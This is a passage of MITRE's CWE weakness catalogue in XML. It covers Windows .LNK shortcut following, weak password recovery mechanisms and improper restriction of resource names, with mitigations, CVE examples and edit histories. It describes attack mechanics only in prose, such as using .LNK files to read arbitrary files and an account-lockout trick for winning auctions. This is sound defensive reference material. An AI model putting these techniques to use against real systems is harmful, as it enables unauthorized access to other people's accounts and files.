					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>For each and every data access, ensure that the user has sufficient
							privilege to access the record that is being requested.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Make sure that the key that is used in the lookup of a specific user's
							record is not controllable externally by the user or that any tampering
							can be detected.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use encryption in order to make it more difficult to guess other
							legitimate values of the key or associate a digital signature with the
							key so that the server can verify that there has been no tampering.
						</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Content_History>
				        <Submission Submission_Source="External_Submission">
					          <Submitter>Evgeny Lebanidze</Submitter>
					          <Submitter_Organization>Cigital</Submitter_Organization>
					          <Submission_Date>2008-01-30</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Type</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms, Applicable_Platforms,
						Description, Name, Potential_Mitigations,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2011-03-29">Access Control Bypass Through
						User-Controlled Key</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="64" Name="Windows Shortcut Following (.LNK)" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software, when opening a file or directory, does not
					sufficiently handle when the file is a Windows shortcut (.LNK) whose target is
					outside of the intended control sphere. This could allow an attacker to cause
					the software to operate on unauthorized files.</Description_Summary>
				        <Extended_Description>
					          <Text>The shortcut (file with the .lnk extension) can permit an attacker to
						read/write a file that they originally did not have permissions to
						access.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>63</Relationship_Target_ID>
					          <!--Windows Path Link Problems-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>59</Relationship_Target_ID>
					          <!--Improper Link Resolution Before File Access ('Link Following')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>743</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>877</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Resultant</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
				        <Operating_Systems>
					          <Operating_System_Class Operating_System_Class_Description="Windows"/>
				        </Operating_Systems>
			      </Applicable_Platforms>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>Windows symbolic link following</Term>
				        </Alternate_Term>
				        <Alternate_Term>
					          <Term>symlink</Term>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium to High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-48.1">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Separation of Privilege</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Follow the principle of least privilege when assigning access rights
							to entities in a software system.</Text>
						            <Text>Denying access to a file can prevent an attacker from replacing that
							file with a link to a sensitive file. Ensure good compartmentalization
							in the system to provide protected areas that can be trusted.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0342</Observed_Example_Reference>
					          <Observed_Example_Description> Mail client allows remote attackers to bypass the
						user warning for executable attachments such as .exe, .com, and .bat by
						using a .lnk file that refers to the attachment, aka "Stealth Attachment."
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1042</Observed_Example_Reference>
					          <Observed_Example_Description> FTP server allows remote attackers to read
						arbitrary files and directories by uploading a .lnk (link) file that points
						to the target file. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1043</Observed_Example_Reference>
					          <Observed_Example_Description> FTP server allows remote attackers to read
						arbitrary files and directories by uploading a .lnk (link) file that points
						to the target file. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0587</Observed_Example_Reference>
					          <Observed_Example_Description> Browser allows remote malicious web sites to
						overwrite arbitrary files by tricking the user into downloading a .LNK
						(link) file twice, which overwrites the file that was referenced in the
						first .LNK file. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1386</Observed_Example_Reference>
					          <Observed_Example_Description>".LNK." - .LNK with trailing
						dot</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-1233</Observed_Example_Reference>
					          <Observed_Example_Description>Rootkits can bypass file access restrictions to
						Windows kernel directories using NtCreateSymbolicLinkObject function to
						create symbolic link</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Under-studied. Windows .LNK files are more "portable" than Unix symlinks
						and have been used in remote exploits. Some Windows API's will access LNK's
						as if they are regular files, so one would expect that they would be
						reported more frequently.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Windows Shortcut Following (.LNK)</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Identify files using multiple file
						attributes</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO05-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Identify files using multiple file
						attributes</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO05-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Relationships,
						Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Observed_Examples,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="640" Name="Weak Password Recovery Mechanism for Forgotten Password" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software contains a mechanism for users to recover or
					change their passwords without knowing the original password, but the mechanism
					is weak.</Description_Summary>
				        <Extended_Description>
					          <Text>It is common for an application to have a mechanism that provides a means
						for a user to gain access to their account in the event they forget their
						password. Very often the password recovery mechanism is weak, which has the
						effect of making it more likely that it would be possible for a person other
						than the legitimate system user to gain access to that user's
						account.</Text>
					          <Text>This weakness may be that the security question is too easy to guess or
						find an answer to (e.g. because it is too common). Or there might be an
						implementation weakness in the password recovery mechanism code that may for
						instance trick the system into e-mailing the new password to an e-mail
						account other than that of the user. There might be no throttling done on
						the rate of password resets so that a legitimate user can be denied service
						by an attacker if an attacker tries to recover their password in a rapid
						succession. The system may send the original password to the user rather
						than generating a new temporary password. In summary, password recovery
						functionality, if not carefully designed and implemented can often become
						the system's weakest link that can be misused in a way that would allow an
						attacker to gain unauthorized access to the system. Weak password recovery
						schemes completely undermine a strong password authentication scheme.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>287</Relationship_Target_ID>
					          <!--Improper Authentication-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>255</Relationship_Target_ID>
					          <!--Credentials Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>724</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>840</Relationship_Target_ID>
					          <!--Business Logic Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>903</Relationship_Target_ID>
					          <!--SFP Cluster: Cryptography-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>This entry might be reclassified as a category or "loose composite," since
						it lists multiple specific errors that can make the mechanism weak. However,
						under view 1000, it could be a weakness under protection mechanism failure,
						although it is different from most PMF issues since it is related to a
						feature that is designed to bypass a protection mechanism (specifically, the
						lack of knowledge of a password).</Text>
				        </Maintenance_Note>
				        <Maintenance_Note>
					          <Text>This entry probably needs to be split; see extended description.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Enabling_Factors_for_Exploitation>
				        <Enabling_Factor_for_Exploitation>
					          <Text>The system allows users to recover their passwords and gain access back
						into the system.</Text>
				        </Enabling_Factor_for_Exploitation>
				        <Enabling_Factor_for_Exploitation>
					          <Text>Password recovery mechanism relies only on something the user knows and
						not something the user has.</Text>
				        </Enabling_Factor_for_Exploitation>
				        <Enabling_Factor_for_Exploitation>
					          <Text>Weak security questions are used.</Text>
				        </Enabling_Factor_for_Exploitation>
				        <Enabling_Factor_for_Exploitation>
					          <Text>No third party intervention is required to use the password recovery
						mechanism.</Text>
				        </Enabling_Factor_for_Exploitation>
			      </Enabling_Factors_for_Exploitation>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could gain unauthorized access to the system by retrieving
							legitimate user's authentication credentials.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(other)</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could deny service to legitimate system users by launching
							a brute force attack on the password recovery mechanism using user ids
							of legitimate users.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The system's security functionality is turned against the system by
							the attacker.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Make sure that all input supplied by the user to the password recovery
							mechanism is thoroughly filtered and validated.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Do not use standard weak security questions and use several security
							questions.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Make sure that there is throttling on the number of incorrect answers
							to a security question. Disable the password recovery functionality
							after a certain (small) number of incorrect guesses.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Require that the user properly answers the security question prior to
							resetting their password and sending the new password to the e-mail
							address of record.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Never allow the user to control what e-mail address the new password
							will be sent to in the password recovery mechanism.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Assign a new temporary password rather than revealing the original
							password.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Description>A famous example of this type of weakness being
						exploited is the eBay attack. eBay always displays the user id of the
						highest bidder. In the final minutes of the auction, one of the bidders
						could try to log in as the highest bidder three times. After three incorrect
						log in attempts, eBay password throttling would kick in and lock out the
						highest bidder's account for some time. An attacker could then make their
						own bid and their victim would not have a chance to place the counter bid
						because they would be locked out. Thus an attacker could win the
						auction.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 19: Use of Weak Password-Based Systems." Page
						279</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>Insufficient Password Recovery </Mapped_Node_Name>
					          <Mapped_Node_ID>49</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>50</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="External_Submission">
					          <Submitter>Evgeny Lebanidze</Submitter>
					          <Submitter_Organization>Cigital</Submitter_Organization>
					          <Submission_Date>2008-01-30</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Description,
						Maintenance_Notes, Name, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-09-09">Weak Password Recovery
						Mechanism</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="641" Name="Improper Restriction of Names for Files and Other Resources" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The application constructs the name of a file or other resource
					using input from an upstream component, but does not restrict or incorrectly
					restricts the resulting name.</Description_Summary>
				        <Extended_Description>
					          <Text>This may produce resultant weaknesses. For instance, if the names of these
						resources contain scripting characters, it is possible that a script may get
						executed in the client's browser if the application ever displays the name
						of the resource on a dynamically generated web page. Alternately, if the
						resources are consumed by some application parser, a specially crafted name
						can exploit some vulnerability internal to the parser, potentially resulting
						in execution of arbitrary code on the server machine. The problems will vary
						based on the context of usage of such malformed resource names and whether
						vulnerabilities are present in or assumptions are made by the targeted
						technology that would make code execution possible.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>99</Relationship_Target_ID>
					          <!--Improper Control of Resource Identifiers ('Resource Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Enabling_Factors_for_Exploitation>
				        <Enabling_Factor_for_Exploitation>
					          <Text>Resource names are controllable by the user.</Text>
				        </Enabling_Factor_for_Exploitation>
				        <Enabling_Factor_for_Exploitation>
					          <Text>No sufficient validation of resource names at entry points or before
						consumption by other processes.</Text>
				        </Enabling_Factor_for_Exploitation>
				        <Enabling_Factor_for_Exploitation>
					          <Text>Context where the resources are consumed makes execution of code possible
						based on the names of the supplied resources.</Text>
				        </Enabling_Factor_for_Exploitation>
			      </Enabling_Factors_for_Exploitation>
			      <Likelihood_of_Exploit>Low</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Execution of arbitrary code in the context of usage of the resources
							with dangerous names.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Crash of the consumer code of these resources resulting in information
							leakage or denial of service.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Do not allow users to control names of resources used on the server
							side.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Perform white list input validation at entry points and also before
							consuming the resources. Reject bad file names rather than trying to
							cleanse them.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Make sure that technologies consuming the resources are not vulnerable
							(e.g. buffer overflow, format string, etc.) in a way that would allow
							code execution if the name of the resource is malformed. </Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Content_History>
				        <Submission Submission_Source="External_Submission">
					          <Submitter>Evgeny Lebanidze</Submitter>
					          <Submitter_Organization>Cigital</Submitter_Organization>
					          <Submission_Date>2008-01-30</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
